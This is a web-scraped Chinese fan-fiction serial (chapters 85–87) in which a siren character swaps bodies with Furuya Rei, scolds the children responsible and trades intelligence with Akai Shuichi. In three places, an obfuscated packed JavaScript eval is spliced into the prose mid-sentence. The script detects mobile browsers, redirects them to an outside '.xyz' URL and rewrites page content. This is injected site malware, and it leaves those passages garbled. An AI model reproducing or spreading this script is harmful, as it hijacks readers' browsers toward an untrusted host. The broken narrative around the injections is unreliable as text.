这个安全屋已经不安全了,和飞鸟彻羽有关的事情需要防范着包括组织在内的所有人,在此之前飞鸟彻羽自己没有想跑的意思,所以只要防范组织和公安两边,但是和他争吵过之后,飞鸟彻羽不跑才奇怪。 依照飞鸟彻羽别扭的性格,情绪爆发紧接着就应该是冷暴力,然后冷着冷着发现没有“黑泽阵”也挺好,干脆就把“黑泽阵”抛在脑后,长生种特有的时间观念,一年半载想不起来也是常事。 所以不能叫他跑了。 但是琴酒现在脱不开身,太长时间没有理由脱离任务,组织那边会起疑心,顾不得自己同样是三整天没合眼,给伏特加发邮件,去处理积压的工作。 算算时间,最好在十八个小时之内回来。 忙碌在第一线的琴酒不知道,自己走后大概四个小时,就有一个鬼鬼祟祟的长发针织帽撬开了自己安全屋的大门。 赤井秀一先是跟着拖把的指路找到了第一间安全屋,然后循着其他乌鸦拼凑出来的路线,一路找到了飞鸟彻羽。 在尝试叫醒无果后,赤井秀一干脆开枪打碎了镣铐,检查确定塞壬没有生命危险之后,把他就近送到信得过的工藤家,自己转身去处理某个发现被偷家之后,连忙赶回来的非法监禁罪犯。 * 飞鸟彻羽醒来的时候,强忍着昏睡太久的头晕和恶心,就看到自己已经到了工藤家,旁边是四个孩子叽叽喳喳的争论声。 怎么办、彻哥、秀哥、完蛋了…… 什么怎么办? ……还有坐在自己面前,同样一脸惊愕的,自己的脸。 我在我自己面前?! 85.就像你一样? “秀哥没有回复,可能是出事了。” 在工藤新一好不容易费尽口舌才换来降谷零一点零碎的可信度之后,四个孩子终于可以继续之前的进度,开始讨论现在应该怎么办。 世良真纯怀里抱着一只浑身雪白的猫,瞪着一双漂亮的鸳鸯眼,尾巴的毛都炸起来,从她有记忆开始就养在身边,名叫安吉拉。 就是和飞鸟彻羽打架的那只,被塞壬收拾了一顿之后一直耿耿于怀,十几岁对于一只猫来说已经算是很年迈了,但是也许是吃过香槟血的缘故,安吉拉一点不见老态,不但中气十足地喵喵叫,而且还挣扎着想要去抓花飞鸟彻羽的脸。 “不能再这样坐以待毙下去了,我们要自救!” 小泉红子细细观察了飞鸟彻羽的情况,得出结论:“迟迟不醒,就是灵魂虚浮的缘故——Asuka需要招魂!” “所以,这就是你们讨论的结果,”飞鸟彻羽顶着降谷零的壳子,看着对面的“自己”像个蠢货一样耳羽乱甩,本来就稀烂的心情更是雪上加霜,“你们四个,还真会让我开心——谁出的馊主意?” 看看时间,再看看这一窝的孩子,就知道是谁把自己救回来的了——只有赤井秀一才会把自己当成幼稚园园长,使劲往飞鸟彻羽身边塞小孩。 飞鸟彻羽细细观察了一下被绘在地板上的术阵,找出画错的地方记住,从厨房接了一盆水破了个干净。 他自己的手机早就不知道被琴酒弄到哪里去了,反正真正见不得人的东西肯定没人存在手机里,他也懒得费力气找,指使拖把送来备用机,准备给组织添点麻烦但不危险的小事支开阿阵,以防他们两个有一个交代在这里。 反正阿阵也找不到别人干活。 几个孩子凑在一起打眉眼官司: 是世良先说的。 不是红子提出说要招魂的吗?! 明明是我们少数服从多数一起同意的! “感觉怎么样?”这话是问降谷零。 “……不太好,应该说找不到更差的了。” 降谷零感觉自己的五感都有点移位,听力不知道增强了多少倍,被旁边的声音震得耳聋,视觉也和之前完全不一样,看乌鸦都是五颜六色的,身体上的伤痛倒在其次,多出来的耳羽、翅膀和尾巴根本没办法控制。 “正常,”飞鸟彻羽一面用按键打字,一面分出心神思考接下来应该怎么办,“主要是你之前没有经受过魔力脱敏,再加上交换身体之后各项指标的不适配,还有我本身的身体情况不佳……在换回来之前你可能都要静养。” 降谷零被原本正常的说话音量震得头晕,好半天才反应过来飞鸟彻羽说得什么意思:“换回来之前,这个表述听起来需要很长时间一样。” 另一边已经商量出来结果了:黑羽快斗笑得一脸心虚企图萌混过关。 飞鸟彻羽哼笑一声,顶着降谷零的脸,表里如一的脸黑心也黑:“捣蛋的时候不想清楚后果,挨训的时候还仗义起来了——你们四个,一二三四,魑魅魍魉,一个都少不了,都过来。” 工藤新一摊手:早说了肯定骗不过彻哥的。 塞壬很快就理清楚了思路,意识到了事情的严重性,开始给赤井秀一发消息: 【情况怎么样?】 回复很快:【一点小伤】 飞鸟彻羽心中了然,能让赤井这种所有事情一肩挑的家伙说出“一点小伤”,那就是很严重的情况。 赤井秀一本来打算着和对方比拼一下狙击技术,结果对面丧心病狂根本不按常理出牌,直接上榴弹狙击枪,换了杀伤范围小的“子弹”,在对狙的时候直接炸了赤井所在的天台。 要不是同为顶级狙击手能力过硬,弃枪跳下四层楼的花坛里,赤井秀一都怀疑自己潜入任务都起头就不明不白地交代在了这里。 还好当时上去的时候顶层正在重新检修,应该没有人员伤亡。 【欠我份人情,记得还】 【哦,找索菲去接你。】 【情况?】 【能料理,不方便你来。】 【了解】 赤井秀一看着手机屏幕里面的对话一条条消失,最后一片空白的界面,完全可以想象到,要是自己再继续刨根问底下去,对面会说些什么了。 因为家庭背景特殊,他想加入FBI要比一般人困难的多,赤井秀一走的路线是十五岁读美高,毕业后成年从海豹突击队混了几年,因为能力优异被FBI破格录取,退伍之后一边实习一边拿到了麻省理工的工科学位。 凭借遣散费没办法支付美国高昂的教育费用,那时候赤井秀一的经济来源是课余时间去距离学校三公里外的酒吧拉手风琴,凭借着外貌优势和精湛的手艺,老板愿意开出可观的薪水。 偶尔的偶尔,飞鸟彻羽有空还有心情的时候,会去找他合奏,小提琴和手风琴的相性意外地不错,尽管前者还没到合法饮酒的年纪。 “感恩戴德吧。” 少年用小叉子挑果盘里面的西瓜吃,这种价格在外面能买到一小推车,结果在这里剁碎了淋上果酱堆在盘子里面身价就涨了几百倍。 “堂堂帕格尼尼金奖拉阿马蒂琴,拉给这些酒鬼听,还不如去卖酒好啦,结果时薪只有……”赤井秀一伸出五根手指,飞鸟彻羽接上之前的话头,“二百五十块。” 五百美金的话就一人一半,两个二百五。 赤井秀一心说我还是王牌狙击手,未来的FBI王牌检察官呢:“这是我的报酬,和你没关系——你是白送的,偶尔超市促销的赠品。” 飞鸟彻羽对他的工资没什么觊觎之心,但是对他说自己是不值钱的赠品很不爽,又叫了一份冰激凌……然后被旁边伸过来的勺子先挖走了一大口。 美其名曰,身体不好不适合吃冷的。 飞鸟彻羽:……谁要吃你剩下的?! 讨厌的男人接过被塞壬嫌弃的冰激凌:“你怎么混进来的?” 问一遍不说,刨根问底多了,少年就会抬起眼睛对他宣布: “这是我的隐私,没有义务和你分享。” ——再问东问西我就生气了。 飞鸟彻羽招招手把四个孩子招过来,一脸凝重地告诫他们:“今天发生的事情,全都烂在肚子里,谁也不许说出去,记住了没有?” “为什么?” 一想到要长篇大论,飞鸟彻羽就有点头疼。 “你施展这个魔法的时候,我们双方有任何一个人同意吗?” 答案当然是否定的。 “所以,如果这种不需要双方任何一个同意,就可以成功的身体交换魔法泄露了出去,会不会有人因为生病就能弄到一个‘自愿捐献’的健康身体?衰老的人是不是可以随便更换一个年轻身体?甚至犯罪的人也可以通过获得一个全新的身份脱罪。” “甚至是我现在正在用的身体,也不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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反正飞鸟彻羽是绝对不可能替他上学的。 降谷零心中隐约有种不妙的预感:“要等多久?” “不知道,”飞鸟彻羽自己也不清楚,遂实话实说,“可能等我研究出来怎么没有魔力也可以施展魔法之后?保守估计可能要一个月以上。” 弄出新的魔法可没那么容易,更何况这种类似于发明永动机之类的课题。 但是这样会影响自己接下来的一系列安排,甚至警校毕业也会赶不上:“多此一举的意义在哪里?” 明明小泉红子再逆向施展一次,然后用言灵清除记忆问题就可以迎刃而解。 “算是个……承担责任的问题,”飞鸟彻羽一时间没想好该怎么说,“言灵没办法提出对方做不到的要求,最极端的情况我可以直接用言灵叫对方去死,但是没办法用言灵要求对方拿诺贝尔奖,做不到就是做不到。” “虽然用言灵的时候说的是遗忘,但实际上这部分的记忆是在大脑中不活跃而非完全消失,如果有施展同类型的魔法是可以‘重新回忆起来’的,在记忆的领域,言灵没那么好用。” “小泉自己也不清楚具体的书写方法,刚刚被我洗掉了,我在思考……应该把这种禁术的知情范围控制在只有我自己,最多只有我们两个成人之间,会不会更合适。” “如果我作为在场的监护人,因为自己怕麻烦所以选择了捷径,自己都不能保守秘密,然后要求几个小鬼管住嘴承担责任的话,未免有些太差劲。” 降谷零从来没想过,自己的脸上原来也有这样的表情,是独属于飞鸟彻羽的独裁的坦荡的不体贴的温柔: “思考的结果是,我决定驳回你的反对意见——我们可能要做一次互相保守秘密的共犯了。” 86.抽烟死得早 “……还真是一票否决性的强权啊。” 降谷零对飞鸟彻羽提出的解决方案没什么意见,但是对这种不容置啄的态度感到非常不爽。 这张原属于自己的脸上,就差明明白白地写着:反正你们也提不出更可行更有意义的建议,所以还是干脆闭嘴的好。 嘁。 自认为可以解决所有的事情,所以不论是决策还是行动都是自己一肩挑,所有的事情都交给我——理所当然的态度还真是让人火大。 飞鸟彻羽看见“自己”的耳羽完全展开绷住,塞壬自己都有时候没办法完全控制得住情绪表达,更别说刚刚接手这具身体的降谷零,肉眼可见的生气了。 莫名其妙。 飞鸟彻羽真觉得自己有点冤枉,要是这样说话都叫专横独裁的话,那动不动就一声招呼不打,就把妹妹丢给别人带的赤井秀一岂不是成了暴君,降谷零和赤井秀一凑在一起的时候不得分分钟抡拳头打起来? 真是的,早说了我对姓宫野和姓降谷的人过敏。 “听起来你对我很有意见,有什么想法大可以说说看——私闯民宅非法入侵还追打别人家孩子的……”飞鸟彻羽冷笑一声,在现在的脸上显得更加的明显,“降谷零?” 完蛋X4 在日本的含蓄文化中,只有长辈称呼小辈,或者非常亲密的关系才会去掉姓直接叫名字,大多数人会选择只称呼姓氏,而直接称呼全名大多数情况下会被认为是冒犯/不礼貌。 不过本来只看用在全名前面的修饰词就已经足够冒犯的了。 飞鸟彻羽兼具塞壬优秀的语言天赋和西方社会独特的刻薄冒犯文化,会用敬语骂人:“我很期待你的指点。” 这话说得戳肺管子,降谷零一时半会还找不到反驳的理由,:“你太长时间没消息,我们很担心你的安全。” 但是飞鸟彻羽并不领情,本来和阿阵就身心俱疲,想到积压下来的工作更是头大,还有人给自己抬杠就更烦了:“哦,所以我干什么都要先给你们报备打申请,我逼你关心,然后逼你私闯民宅?你有搜查令……” “哥!” 黑羽快斗见势不好,连忙在两人彻底吵起来之前打断,揪住飞鸟彻羽的衣服下摆,仰头可怜巴巴的:“我好饿,之前好担心都吃不下东西QAQ……” 剩下的三只也连连附和,把正在剑拔弩张的两人隔开,围着不知道还想说出什么了不得的东西的飞鸟彻羽啾啾喳喳: “红子大人想去吃那个很火的日料!” “据说有小黑猫店员和南瓜头店员,还有柠檬塔。” “同学们都去过了——安吉拉也想去。” 飞鸟彻羽:……和一窝晚成雏似的。 “等我忙完。” 目送着飞鸟彻羽拐进了书房,黑羽快斗背负着同伴们的信任,伸手将降谷零扯到了角落里:“降谷哥,你们之前吵架了吗?” 降谷零后知后觉,被一个十几岁的小孩询问,为什么和他同样是十几岁的哥哥相处不好是件有点丢人的事情。 准确的说没吵起来,是冷战了,不过降谷零确实也没打算和盘托出,背着飞鸟彻羽破灭他在家人面前的形象有点过分,何况这孩子明显很喜欢自己哥哥的样子。 总觉得背着当事人告诉这个孩子,他的哥哥喜欢造别人谣实在不合适。 “不,没什么……” “是因为我哥说了什么对吧?你觉得他很讨厌对不对?” 黑羽快斗一猜就知道,也不关心具体是什么原因吵起来的,受不了飞鸟彻羽的脾气实在很正常。 “说不上多讨厌,”降谷零实话实说,只是昧着良心撒了一点无伤大雅的小谎,“但是很气人。” 这点黑羽快斗没什么好反驳的,飞鸟彻羽情商挺高但是性格恶劣,具体体现在很多时候他明明知道自己采取某种方式会导致对方不快,但依然选择这么做。 小孩低头想了想,冷不丁地开口: “你会说塞壬语吗?” 降谷零一怔:“不会。” “但是我哥是塞壬,按理来说他就应该说塞壬语,就像是我们现在讲日语一样——但是你们基本可以无障碍交流,这是因为我哥努力学习了日语,并且用人类的发声方式说话。” 黑羽快斗仰起脸看着他,透过那张熟悉的皮囊和内里陌生的灵魂对视。 “他有在为了无障碍交流付出努力,但是你嫌弃他性格古怪……他这样会很可怜的。” “稍微多给他一点耐心嘛,熟悉起来之后就会发现,我哥真的很好很好的OwO~” “你在偷换概念,”降谷零没被他绕进去,“我不知道他学习日语的初衷是什么,反正绝对不是为了和我对话——你在拉偏架吗?” “对呀!因为他是我哥嘛!” 几乎是从黑羽快斗有记忆开始就认识飞鸟彻羽了,但是黑羽快斗和降谷零今天才是第一次见面欸! 小孩撒起娇来得心应手:“其实我哥好可怜的,平时都没有同龄的朋友愿意和他玩,每天都只有自己孤零零地一个,之前他放学的时候,别人都结伴回家,只有他没人陪,所以我每天都去接他……” 听新酱说,降谷零是在读的警校生,那就是大学毕业之后,现在应该是23岁左右。黑羽快斗伸出四根手指头给降谷零看:你大他四岁耶! 对于现在才十一岁的小孩来说,四岁真的很多。 “真的真的真的真的,我哥真的很好很好的,”黑羽快斗生怕他不信,用力重复了很多次,“和他相处过的人,不是他的对手下属,只能公事公办的关系,就是觉得他性格古怪,根本没办法相处,但是我真的很喜欢他,根本不是别人想象的那样!” 有一点黑羽快斗没说。 大概在飞鸟彻羽十七岁的时候,身体的生长就完全停滞了,身高、体重、骨龄甚至是头发在达到一定的长度之后都不会再继续变长。 现在的飞鸟彻羽和他两年之前的样貌没有任何区别,甚至连心态性格都和印象中的别无二致,就像是被时间的长河判处了流放,被锁在银镜中的白玫瑰,永远都是最美好的模样。 在此之前,黑羽快斗从不认为自己和飞鸟彻羽有什么隔阂,即使他们有八岁的年龄差,根本没有血缘关系,甚至物种都不相同。但是从那时候开始,他后知后觉地意识到,时间的长河间划开了一条不可逾越的鸿沟。 人有可能重复踏入同一条河流吗? 不可能,但是飞鸟彻羽可以。 长久的衰老是一场酷刑,但是长生不死青春永驻是不是,黑羽快斗不知道。 不过有一点他很清楚:总有一天所有人都会离他而去,到那时候飞鸟彻羽应该怎么办呢? 他还能找到新的家人朋友吗? 还有谁会爱他呢? 他感觉孤独了怎么办? 受伤了怎么办呢? 黑羽快斗不知道。 据他所知,飞鸟彻羽不需要从任何一段关系中汲取力量,但这和黑羽快斗希望有人喜欢他并不冲突。 在长达九年的相处中,黑羽快斗隐隐约约能感觉到,飞鸟彻羽之前有过一段很重要的关系,他会在极其罕见地某个瞬间想起谁,然后在旁边的人发现不对之前迅速抽离,如若不是自己观察敏锐,和他相识太久并且时刻偷偷关注着,估计任何人都不会发现。 塞壬的思绪又浅又淡,就像是储物室太久没人来访,薄薄的落了一层灰,推开窗户被风一吹,就什么也没能留下。 但是旧物总是反复落灰,未能免俗。 ——他被丢下了。 算算时间,在遇见自己之前,也就是十岁之前,也许是父母吗? 黑羽快斗有试过总结规律,但是塞壬寡淡的反应实在没办法解读,曾经也有过直接开口询问,而飞鸟彻羽做出的回复也很直接。 晚风挽起塞壬海浪一样的头发,将绵长的琴声越送越远,少年搁下琴弓,将魔杖当钢笔用,洁净的魔力在空中凝成跳跃的音符,这支曲子最后被冠上《忒修斯之船》的名字,成了“黑羽彻也”的处女作成名作,也是遗作: “我不想说。” ——要是所有人都喜欢他就好了,或者再退一步,即使没人能做到一直陪着他,但是总有人愿意陪着他也很不错,思考后的结果是这样的。 小孩子的眼睛亮闪闪的,仗着自己长得可爱所以有恃无恐:“总之对他多宽容一点嘛~” 降谷零:…… 可恶,为什么那种讨厌到没办法沟通的家伙,会和这样一个可爱到像是蓝莓小蛋糕一样的小孩是兄弟啊?! 即使是没有血缘关系,居然完全没有相似之处吗? 黑羽快斗看着对面表情寡淡,但是耳羽一刻不停,就知道降谷零现在内心活动是多么丰富了。 总感觉交换身体之后,双方的情绪都外露了很多。 “要是很为难的话,那我贿赂贿赂你好啦。” 黑羽快斗把右手放在自己脸上,指尖一颤,就变成了世良真纯的脸。 没等降谷零惊讶,指尖翻转,又变成了小泉红子的脸,就连声音也十成十的相似:“红子大人很厉害吧?” 日夜苦修的结果,就是现在即使是降谷零全神贯注地盯着他的手,也看不清黑羽快斗指尖的动作。 “我教你易容怎么样?” “……难道你谁都教吗?” 降谷零感觉有点惊讶,这种手艺是可以随便满大街撒的吗? “当然不是啦,因为你很特别嘛!” 黑羽快斗又变回自己的脸,笑嘻嘻地看着降谷零:“我哥不是没和别人起过冲突,但是像你今天这样要吵架的,从来没有过!” 一般飞鸟彻羽都会很快找到问题的关键结束纠纷,或者很快认识到和对方讲话是在浪费时间,所以差点让飞鸟彻羽动了真火吵起来的降谷零很特殊。 “……知道了,我会努力和他好好相处的。” ——看在黑羽快斗的面子上。 * 飞鸟彻羽利用自己的权限,给“降谷零”提交了外勤申请:“随便找个正当借口,就说被卷进来个案子,非你不可……” 降谷零对这个处理方式没太大的意见,反正最后一个月也差不多是各种考核联系去处,没有被挑走的就一起打包去当交警,自己作为首席和职业组,当然有不止一个选择。 打断他的是一声沉闷的巨响,伴随而来的还有飞鸟彻羽一脸惊愕的表情,当然,顶着自己的脸。 交换身体之后遭罪的不只是根本控制不了魔力,更想不明白怎么尾巴变腿收起翅膀的降谷零,塞壬的面部肌肉并不发达,表达情绪主要依靠耳羽,这导致飞鸟彻羽前十九年的生命中一直是半个面瘫,直到换在了人类身上,就患上了五官乱飞的奇妙病症。 不仅如此,飞鸟彻羽也从来没有如此体力充沛过,继承了降谷零三拳打碎轿车前挡风玻璃的怪力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787908|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,攻击力堪比高速行驶的大卡车——刚刚的声音就是来自某个手上没点轻重的家伙,拆下了工藤家书房的木门。 “……我没用力。” 好像可信度不是很高的样子。 意识到这一点的罪魁祸首企图转移话题:“出去吃吗?” 失去了飞鸟彻羽稳定的魔力供给,原本在家里兢兢业业料理家务的手套大军现在全部瘫痪了,只好向外解决问题。 降谷·警校时期对做饭一窍不通·零:“你居然不会做吗?” 每天很平等且稳定地嫌弃外界的样子,还以为是什么都很擅长。 ……不过也确实,降谷零想象不出来少年站在厨房里忙前忙后的样子,总感觉他就适合做寒冬枝头的一簇新雪,不沾烟火气的。 “我哥不会做啦,”黑羽快斗笑嘻嘻地揭飞鸟彻羽的短,“而且他超级讨厌做这种琐事的,说‘把时间浪费在没收益的并且完全没兴趣的事情上,想想就觉得可怕’。” 能说出这种话来的家伙才更可怕吧? 降谷零还没弄明白该怎么把尾巴缩回去,好在交换身体的时候飞鸟彻羽没有放出翅膀,他现在包裹严实坐上轮椅至少可以出门。 飞鸟彻羽纠结了一下,把手里的门放在一边,准备等一切恢复正常了之后再解决修门的问题。 把降谷零搬在副驾驶上,几个孩子挤在后座,世良真纯抱着自己的猫包,飞鸟彻羽带上车门,发出一声巨响。 系上安全带,没有给任何人缓冲的心理准备,一脚油门踩到底,连人带车子一起飞了出去。 “别那么用力踩油门!” 飞鸟彻羽也被吓了一条,好在这个时间点本来行人就很少,工藤家更不是居民稠密的地段,所以没什么人受伤或者受到惊吓。 除了突然意识到什么的降谷零:“你用的是谁的驾照?” 然后得到自己意料之中,但是绝对不想听到的答案:“你的。” 决定开车出门的时候专门派小乌鸦去偷的。 降谷零:……有点耐心有点耐心有点耐心。 好在飞鸟彻羽适应很快,一路上平稳到达。 这家餐厅据说是百年老店,口味和服务都一直是高端水平,最近前店主的女儿继承了之后,在原有质量的基础上又做了改良,加入了很多适合小孩子喜欢的元素,现在附近的学校之间又流行了一把。 孩子们在叽叽喳喳的点菜,两个大人面对面坐在桌子两端,尴尬到一抬眼就能对视,飞鸟彻羽垂着眼睫在品尝抹茶,降谷零也找了一本菜谱……顺便被动接收着四道热切的目光。 飞鸟彻羽心情不好的话,就会报复性的集中加班,所有上上下下的异常处理课民不聊生,工作这种东西是忙不完的,只会越干越多,直到飞鸟彻羽把郁气撒在其他犯罪分子身上,或者刚刚透支还没恢复的身体率先倒下。 “……你从哪里弄来这么多小孩?” 飞鸟彻羽有点意外降谷零会和自己先搭话的样子,错愕的表情在原本属于降谷零的脸上表现得很明显,随即很快又反应过来,究竟是谁的鬼主意。 “小泉情况特殊,红魔女代代单传,上一任走了才会有新的孩子,家里教不了她就送到我这里来了,另外两个是自己家的,世良是朋友家的,监护人工作很忙偶尔来串门。” 一串就是以季度做单位的那种。 没了。 飞鸟彻羽说完就没有再开口的意思,但是降谷零拿了别人许诺的好处,只好硬着头皮找话:“你给我安排了什么事务?” “不知道,”飞鸟彻羽看起来有点没精神,“等一会遇见什么。” ……说得好像是案子随时随地就能出现一样。 一阵轻缓的手机铃声响起,一直担任制冷工作的飞鸟彻羽掏出手机,辨认出显示的一串号码是谁之后,把手机递到世良真纯手里。 “秀哥!” 世良真纯现在忙得两只手都不够用,一边要拿着手机,一边要摁住对着降谷零跃跃欲试地的猫,嘴里一刻不停,还要抽空看一眼菜单,从里面挑出自己爱吃的。 飞鸟彻羽伸手把脖子上的变声器调成自己的声音,这才接过手机,转身到了应该僻静的角落接电话。 不是不可以伪音,但是降谷零的音痴程度……飞鸟彻羽不想连说话都跑调。 “是我。” 电话那边传来赤井秀一的声音,可以听出来有点虚弱,但是精神还不错。 看来阿阵也还好。 飞鸟彻羽伸出手臂,一直被喂的油光水滑的渡鸦落在袖口: “医院住的怎样?” “还可以,”顶楼大平层病房加营养餐,赤井秀一感觉自己都快被金钱腐蚀掉了,“世良没给你添麻烦吧?” “你干脆让她转到这里好了。”飞鸟彻羽没好气道,反正也没什么区别,安排在小泉家附近,一起上下学也方便。 “那我就不客气了。” 赤井秀一从善如流,低沉的笑声带着一点点失真,从听筒里传来。 “抽烟死得早。”尤其是带伤的时候。 赤井秀一俯瞰着东京的夜景,家家户户点起灯火,却没有一盏是为自己亮的,男人隐秘在黑暗中,把没点着只是叼在嘴里的香烟摘了下来:“多谢关心。” “油嘴滑……” 一声刺耳的尖叫划破夜幕,把话都没说完的飞鸟彻羽吓得一个激灵。 “死人了——!” 87.我的挚友赤井秀一! 工藤新一的事故体质还真是毫不让人意外。 飞鸟彻羽被那一声怪叫吓了一跳,感觉有点浑身发毛,有种在野外被大型捕食者盯上的诡异感,准备挂断电话却被对面叫停。 “受伤了吗?” 虽是有案件发生,但说实话飞鸟彻羽心里不是很着急,也没什么要赶回去解决问题的责任感——工藤新一虽然是个倒霉蛋,需要每天喝点柚子皮药水外加佩戴海蓝宝石去去晦气,但是飞鸟彻羽还是很信任他的能力的。 除了(尤其是和黑羽快斗凑在一起的时候)总是很聒噪,对塞壬的耳朵非常不友好之外,没有什么别的缺点。 更何况四个小鬼都在。 现在是对降谷零的耳朵不友好了:) 所以一行人中唯一生理意义上的“成年人”可以好整以暇地在外面通电话:“你不是见过吗?” 反正淤青和伤口都是一目了然,也没有什么内伤。 飞鸟彻羽才不相信,赤井秀一的好奇心,能忍得住不自己亲眼看看。 “我是说听力。” 因为受伤的缘故,电话另一边的声音听起来又轻又缓,像是大提琴在给其他交响乐器合奏:“能听到被吓到之后的喘气声,而且背景音相对干净,你的声音很清晰——手机拿得很近,鼓膜之类的检查过吗?” 飞鸟彻羽是不体谅别人通电话体验的小混蛋,每每打电话的时候,嫌弃手机的音量太吵了总是拿得很远,偏偏又不肯大声说话,导致赤井秀一每次都要仔细排除杂音,从中提取出有用的信息。 这几乎成为了一种“防伪标识”。 赤井秀一敏锐地感觉到了有些异样,但是也不是危险,因为世良的那部分没什么问题。 “在担心我吗?这可是我的隐私。”对面传来轻笑,带着一点主人被窥探隐私的不爽。 退一步来讲,少年有自己的秘密当然很正常,他们也不是无话不谈的关系,刨根问底显然不适合。 赤井秀一顺着台阶下,错开那个让飞鸟彻羽有点不快的话题:“你希望我担心你吗?” “我们可不是适合随便担心的关系,你说话可真可怕,赤井。” 飞鸟彻羽观察着自己黑得仿佛凌晨三点钟的夜色一样的皮肤,配上金色的头发,总感觉自己现在像是只暹罗猫成精——还不如黑皮白毛呢,乌鸡总比猫咪要强多了:“确实发生了一点小麻烦,我可以解决,不用担心。” 被倒打一耙的男人也不生气,病房的顶灯开关被一把拍开,显现出某个危险程度和黑狼相比也不逞多让的家伙:黑亮笔直的长发顶着针织帽,看起来很擅长扭断猎物的脖子,或者一枪打爆敌人的头。 还有绿色的眼睛,独特的下眼褶,像是振翅的蝴蝶。 “还是担心一点比较好,毕竟我有事拜托你帮忙,”赤井秀一受伤了也不忘加班,屏幕的亮光打在脸上,看起来实在不像好人,“还记得你当时提供的,关于香槟认识的其他组织成员的资料吗?” 当初飞鸟彻羽被赤井夫妇救下之后,在他又逃跑之前,曾经提供了一份非常笼统的关于组织部分成员的名单和简单描述,还有几张飞鸟彻羽画的像模像样的肖像。 尤其是后者为Mi6的后续追捕行动提供了很大的助力。 屏幕上的女人有着一头秀丽的长发,看起来很温婉善良,不像是个组织成员。 “宫野明美,这个名字你有印象吗?” FBI的线人最近注意到了这个组织的外围,认为可以以此为跳板,作为赤井秀一潜入组织的契机。 “这样不好吧?”飞鸟彻羽很是虚伪地象征性地拒绝了一下,“香槟获救之后给Mi6提供了部分情报,现在FBI也想要?你回去问玛丽更合适吧?” 完全从私心的角度,飞鸟彻羽很乐意把“宫野加入了黑心组织,在搞人体实验”的事情传到满大街都是,最好是把他们一家四口的头都整整齐齐的拧下来之后,再刻到每个人的坟头上。 平心而论,那两个小的和自己没什么恩怨,飞鸟彻羽仅仅是出于很朴素的想要清理掉仇人全家的心理罢了。 冤冤相报何时了,所以还是干脆斩草除根的好。 赤井秀一心说这种由最核心的代号成员带出来的第一手情报是不可能在各个组织机构没能达成共识的情况下“互通有无”的,回去问玛丽的话岂不就是泄密,反正飞鸟彻羽当初年纪小还跑得快,没来得及签保密协定,甚至都不是人,当然大有文章可做。 “不能通融通融?不是告诉FBI,是告诉赤井秀一。” “打感情牌?” “是。” 飞鸟彻羽从来没觉得,自己和赤井秀一之间薛定谔的友谊像现在这么坚不可摧,某个总共见面次数加起来都没能突破两位数的家伙突然就成了自己的挚友,能让一向雁过拔毛的塞壬买一送一: “好啊,我整理完发给你,还有一个有意思的人你可能会感兴趣。” “降谷零,23岁,东京警察学校在读警校生——他见过利口酒一家,私交还算不错,直到他们加入组织之后才断了联系。” “前任副首相的姓氏也是降谷,降谷正晃,我在组织里那会‘老死’的那个。” 这个事情可能让赤井秀一有点吃惊,半晌没有回应,然后第一次主动挂断了电话——之前都是等着飞鸟彻羽先挂的。 能不吃惊吗? 飞鸟彻羽的推论一旦成立,就意味着组织对日本的渗透比FBI评估的要深得多,要推翻全部的行动预设,重新从零起草。 给赤井秀一找点事做,省着这个敏锐又麻烦的男人发现什么不该知道的。 * “好乖哦。” 黑羽快斗正把猫包拉开一半,把手塞进去给小猫喂猫条吃,时不时地顺一把小猫油光水滑的脑袋。 小猫一边舔着鳕鱼猫条,一边很警惕地竖起耳朵,一旦讨厌的“飞鸟彻羽”靠近,就会威胁性的呜呜叫。 “安吉拉对其他人都很友好的……” 世良真纯也想不明白为什么,有些忧郁地唉声叹气,总觉得自己和猫吃住都经常麻烦别人,还要对彻哥态度这么差,有点心里过意不去。 工藤新一从记时就认识黑羽家的这一对堂亲,飞鸟彻羽抽象的脑回路不用提,黑羽快斗也是上蹿下跳地叫人招架不住,活泼到每一根头发都炸起来,小小年纪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806646|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就操碎了心。 “你们两个,先把菜点完,一会记得洗手。” 都能想象到,等一会彻哥回来,发现两人一身猫味的嫌弃表现:“臭死了,今天晚上就把猫给剃了吧。” “哦~~~~~”黑羽快斗大多数时候跟着有希子叫,只有捅了篓子的时候才会老老实实地叫堂哥,一双眼睛转来转去,不用想也知道是在打什么古灵精怪的鬼点子,“新酱好凶——有点茶碗蒸吗?我哥爱吃那个。” “早就点了,”小泉红子正埋在菜单里面研究,“降谷你吃什么?别客气,反正是Asuka买单。” 两个摸了猫的把猫包的拉链拉上,一起去洗手间洗手。 水龙头吐出温热的水,世良真纯侧身给经过的男人让路,还在纠结养猫的问题:“但是也不是安吉拉单方面不喜欢彻哥……你说要是让彻哥看见安吉拉很爱干净,我也会定时给它洗澡的话,会不会就不那么嫌弃它了?” “说不定是物种的原因呢?”黑羽快斗也有自己的独到理解,“我哥又是鸟又是鱼的,猫不就爱吃这些吗?” 也有道理。 世良真纯把手上的泡泡冲掉,总感觉闻到了什么古怪的味道:“总担心彻哥会在某一天心情不好的时候,背着我们先把安吉拉的毛都剃光。” 黑羽快斗深以为然:“说不定他现在也是这么想的。” 